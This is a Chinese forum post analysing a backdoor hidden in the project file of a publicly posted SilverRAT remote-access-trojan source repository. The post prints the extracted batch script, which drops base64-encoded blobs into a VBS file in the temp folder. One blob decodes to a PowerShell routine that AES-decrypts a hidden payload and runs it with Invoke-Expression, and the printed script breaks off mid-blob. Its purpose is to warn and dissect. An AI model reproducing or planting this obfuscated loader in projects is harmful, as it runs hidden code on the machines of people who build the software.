首页| 论坛| 搜索| 消息
主题:SilverRAT源码工程后门赏析
z3960发表于 2025-06-08 08:57
存在后门的代码库https://github.com/fullstcat/SilverRAT-FULL-Source-Code看到有公众号说编译后电脑出现异常查看文件发现是工程文件SilverRAT.csproj有点料这段代码抠出来还原一下是一堆命令
纯文本查看 复制代码
?0102030405060708091011121314151617181920212223242526272829303132@echo off setlocal set "a=%TEMP%a" mkdir "%a%" 2>nulecho b = "ZnVuY3Rpb24gRFZLIHtwYXJhbSAoW3N0cmluZ10kZW4sW2J5dGVbXV0kc0IpOyRrID0gTmV3LU9iamVjdCBieXRlW10gMzI7JHYgPSBOZXctT2JqZWN0IGJ5dGVbXSAxNjskZGVyaXZlQnl0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmZjMjg5OERlcml2ZUJ5dGVzKCRlbiwgJHNCLCAxMDAwLCBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5IYXNoQWxnb3JpdGhtTmFtZV06OlNIQTI1Nik7JGsgPSAkZGVyaXZlQnl0ZXMuR2V0Qnl0ZXMoMzIpOyR2ID0gJGRlcml2ZUJ5dGVzLkdldEJ5dGVzKDE2KTtyZXR1cm4gQHsgSyA9ICRrOyBWID0gJHYgfX07ZnVuY3Rpb24gRCB7cGFyYW0gKFtzdHJpbmddJGVCWixbc3RyaW5nXSRlbmMpOyRkQnkgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlQlopOyRzYnkgPSAkZEJ5WzAuLjddOyRlQnkgPSAkZEJ5WzguLigkZEJ5Lkxlbmd0aCAtIDEpXTskZHJ2ID0gRFZLIC1lbiAkZW5jIC1zQiAkc2J5OyRrID0gJGRydi5LOyR2ID0gJGRydi5WOyRhID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGEuTW9kZSA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7JGEuUGFkZGluZyA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7JGEuS2V5ID0gJGs7JGEuSVYgPSAkdjskZGMgPSAkYS5DcmVhdGVEZWNyeXB0b3IoKTt0cnkgeyRkQiA9ICRkYy5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRlQnksIDAsICRlQnkuTGVuZ3RoKTtyZXR1cm4gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGRCKX0gY2F0Y2gge3JldHVybiAkbnVsbH19JGVCID0gImlRNElUWE5lWUZqV0pMOFVieDZpa1ArV2hvS1d1Mk41VWtQNG9QZjh1OFZFUi9Hc0IwZWhmcEVsZTlIODdxU0JhVjZYTUFjUFFjZVlHNjVrWjJjUitmYmVJS25PMU43Z2FuaERjdHNxdXU1UVNremJDbzdRekIrRmdELzQxamVSVjV6L1NtMU0zVWt0aGFhK2F4SWJad0tBek9Nc0V4VjlETTVxNGRLNEdVZmZkZTJiQis4RktuS3krU2ZhYzkvaEQyTDE2TzVDK3l6S2FNUUZuaWkxb3hkZHdGSWc0dHFLVE9ScXNHcGxPdmdoSUR4WTBBUWhvYjFxWkRYdzZSUkpXcTY2dFhNQWJrM3UrOVYxdUF4cFFVeHgzU1BaVTcra01ySDVlR0Mzbkk3VkdnSHpHcmlBWlZCdmJZbS9QbHlqQ0xpell5K1lJbjBRZlhQUVpmL1hUY1ZkNTV1eGZCYWZXdlEraTlwT3RVcDhSVkg5K2VTQ29EZ2YrdFJLSGpaWXBwbEVIS3N6aml2Q3pNRzc0STFiRk1VVE0xK3ZMV3FrV1QwS1R6MlYyRzVXVkh5U1ByeUdtOTgrYjdReU1jWEk0NGFyVG5kSDFYeGRVOWh1bzM3d1FNekgya25wa0tOVERoZlJSR0NwRkxsM1Vxa0xmRW9mN1lvaTQ2WWQvdWxrL0VKdWF2R0hMUUM0V0hvZUJpT0NrS1g3cjN5NjkvL2hJT0pVMmRuRkFTa3RxVHNUNDBiZnZGaGpTTUhrSFZkbHJ1TFlzbUVxbHVpc3lWc09hSm9XWTRDemIxM1QyMU8vbVNEQ0ZMRFJhRitYVDhSNEZUWE8wenN2Z1dLdDI2aWt4eGkyN29oejNFVlY2Q0U5MFEwSWR3N0U0TVR1SzFBTDBrR2c3ZG43TkorUEl6YmJ6N3lUYWRHTkg4SzVEY3A4VGZwQkd6aVdmTlU2cVkyRTNtV2c4NzA5UmFNMmhFTU1nQ1Z0YlpGdkZMQXkyTXYwTDJYaTR2VXl4UEFBNHRMMnNlN2NqTVNCU2g4REIwOEpxeGNMVjNQN0pLL0RFeVRZSU9GSkRvN0toRktsUlB0bVpoZk5rRjl3ZWpYRVk3czdISWJpeXFhRkNWNm1DK09CNDZSZ2YyK3pKVjB2RGlIeXlDdHZZUEhqSWlwRGhkK2hJSEhqQk1ZOGxMeEUrRGFZemEwbC9vMUVvOWpQV2lkekVNdUpTaFZMclBSOXI1UjYvQ1lYS0tjOGpBdUNvZ3hSR0xMSk81eDM3ajZWK1ZxSXQ3ZFEzZ0EydXNJTHFsUHRpUWg2dUdYa0JYanJSWnFzSnBxeElTSlBaclNIQlJCSDNmQlBFVkZyZi9XMTZOMk1uNEp3cGo3NnJlRStLMnZPZWpyZXIxbW9acHpYKzI0K09wZmJwM3NPSlVzMWJOYWErcmV4VW5VNUN2SzV2RlF1VmRvaW5PM0w5eTE2NEdjdC9EaERnbDJJSjFhVTdaWWErN3o3VnVYVGdQdGMr" > "%a%b.vbs"echo c = "ajd6em1UMWtBbnJDMkJjdFc0UGZzSWhsQVBzTHJPSHhGd2lFK0JRNmVmK2gxT0xxdFlCUFJuMEw4NWZ1VmRNeTFhZWhpbVB0ZHVvTGdKQjhiLzcvMGx6NDBsNnVTdlNPd1AyRXJtRXIxRC83ZFQyVzEwYkFJU1kxNTRubENxNDg3VEpwMi90ZHhJZUluNkNsK1NjRHhHTFgvSkQ1eDRpOHRSQi9DcEhsL0tQUmpDUmplOGtnZTNTNW5RZlprd3JOTVdaeHNUNXVjN0xkZ25jcmVpM3pZenpFTThWemdYcDM0TEdnMHY3d3VDeVdrcEZJS2xxY0x2WXI1ZXpSblJjalVNSkxLMzVhbzFoUnBKK0tlU2dBTVdXWlQxdmZrQkZwcDdFTVdnN0Foc3ZXZnZITWhNbGRoL3VuT3phQWFxTW1WdWt1OS94SGxnWk5XYkRSY0xVYmhkbkpSZGJleTQ0MWcwWVZ6b1BzU2haL29JbXhLNmVxQUtIYk1nZU1XUzRlaUREZlhhckhqbWNNdDFiZTBONWJkVGVlSXN5bTNvc3M3WGRDSmdnaUY0TXQvUlc2UC9UUFgwdU1QNzZKaEd6dmowT1dFOXI4LzlWWkZ4aGEzSS8vSVFUVnBhMEUzVytCbHVKblk0clVYdE93Z2hpdVpoTUZtNkNJZ0diWC93Tnl3RzJmYU5iVnRBM2VMWXYwcHM2Wm9MbXRrYkl3VzBSOWsrSFF4WW43aVZkekFxMkEwdndzVE5EQlROZ2pkdStEcU5ZUHpFQWZBOWs4d0xLTnpSVnNVcm1EOWdZTktWSk41ZWUySGg3QXI1WlhyeEtkdjF5ZXdaQ3N5ajZ0S2ppQWV6QmZLMXVuQmNSYmVwNGhqNDN5V0Z1bnJPWVM3Z3JUQXF1TUZRbTl4bktwalVYMkpzYm5acEhlZE51OVlGMnJldW84Rm9nRUhJVEs5VE5UYWZpM01vdjlGN2l5TFhtNWNhVFBvaUlpUDdHK21zWlk1VDZlNDI1aTNsb2Z1MXhYOVRpdDlZQlQ2eVhCT3Mvd2dvalNxcVcwN3lhLzgvQTRsZUxLSjFIangvajFwSTJWUEFMY0I2d2ZoQXBtUUtFNXZoT0N6N0l5Vk5KTklXVHd5YzFERlN3bDY4V1BGYmZHT0N6U3NYTkxtYVQ4Tk95YXd5MDVNZTRCd2ZGck11MHhid0ZPNzlMM2FORXFTc1FvQjN5OHdPdlcvd243VkZuNUo5cE9mZnR2ZUM5blFxcnluU0Q5Q3RnVy9FZ2pBRzFFUjFZZjJqTnF1WlRxeVlXaUNuaUJoQXNyZC93UktxdW5zRXZJMS80M1hscEFzdG5uVFZpUkgzM2J5Wk0rYXVPTjFqd3lTWHdFbmZKZXdSOHlEZktLdjZ2dkhHSFhXVEY3NUVuUW53YnBkVGU2RUZQT2JCOFpSZ3NoazdWei9HTlEzQkZKcmp5VURsSHpWTWJUa3Mydm5wcTBuNWx2NDdhZ2dueUlyaGVWcXRyb09BMVdZekdhT0oyYzFiRU5RYjJObnRjdE9CeVYyWkhxK3Zhb2N6K1dwVWFPcXRVcmFITk5zSHNLRC9ibktON01rcTZHU0FiRzllUEdUckUwYlN5bmJKb2djMFYvVmlPUW8ybkc4MW80aFhEbFIvWXMyc29JamRkdnlTNDg3cDVCR0dzZEJITGVOTVBuMGdYMFBOUXpVWGhoNlVTc0UyQkJiNGdrMzFoMEZ2VlpRa1NYREk1dDRHMWdoZVVLWkZYWGVYY1NHZngvVHN4U3ZXMFFqUUh1WTZDN0Y3cXI4VEplWmlRY0FoWVhWZVdaTHBuM3Jwa082L0c1dDU0Y01odC9ZYjZ1WERPUGJPNHRDR3FobEZtY0lXWncyc3ZoVktyTkpGOUtUYlgydk00bDhiNFpwSzFxVWNUanRUQUhNc1ExZktvTnlqV2xiTGdKc3A1M0lCa082ZFp3UmFpbFU5VVpiWll4ejNpZW55TDcyVmtUM0pIeXlSek1JMUNMaG9HOVFMbHRoOE8ydzVHQ1lldGVLZnd3YkpLenRQTlRVQ2padXRvYmFSTFBHKzR4MnQrMjhhVEp2VGlLd2ZLU0dIOE9BK3dpWFVsbjJJT0lTTzNVbkh2UVZCUlJjN1FHM25sb09OdmRCVEVPcGVmbGVYTHB5YTZTd2psTnlmOUtxeUs2b1IwTWxsOWpQdGlQSktLNmFsTjd3cWgrYTczakYzeHhjeDdjUWozdWx1U0toU2pzdW1yLzJTdFpZSVgxRUxOeHkvVHZFcHZXV2tsZko2UmRQbVhGcHNlVGFkVWMyeiI7JHRtID0gJGVCLlRvQ2hhckFycmF5KCk7W2FycmF5XTo6UmV2ZXJzZSgkdG0pOyRSID0gRCAtZUJaICR0bSAtZW5jICIiOyR0ID0gJFIuVG9DaGFyQXJyYXkoKTsgW2FycmF5XTo6UmV2ZXJzZSgkdCk7ICRCVlYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luICR0KSk7ICRFUFggPSAiSW52b2tlLUV4cHJlc3Npb24iOyBOZXctQWxpYXMgLU5hbWUgcFdOIC1WYWx1ZSAkRVBYIC1Gb3JjZTsgcFdOICRCVlY=" >> "%a%b.vbs"echo d = "OG5pZzBJR05SWWlYK1gwcHk1VktkekJsS2UrdmZtQlROcVE3dEUyQVdzaE4zWVZ6dXEwWUQ3eGZJcHM5d041bms0YkZaVGJLR3R1Tk5yM0ZadTdySng0T25MYzhCaVhFdDNxdExON0Z3VDFPUDNLcm
下一页 (1/10)
回帖(4):
4 # hanxiao129
06-12 13:19
每天的知识都是新鲜的
3 # hanxiao129
06-12 13:19
今天又学了不少新知识
2 # huwg
06-09 02:23
谢谢分享
1 # huwg
06-09 02:23
来看看了

全部回帖(4)»
最新回帖
收藏本帖
发新帖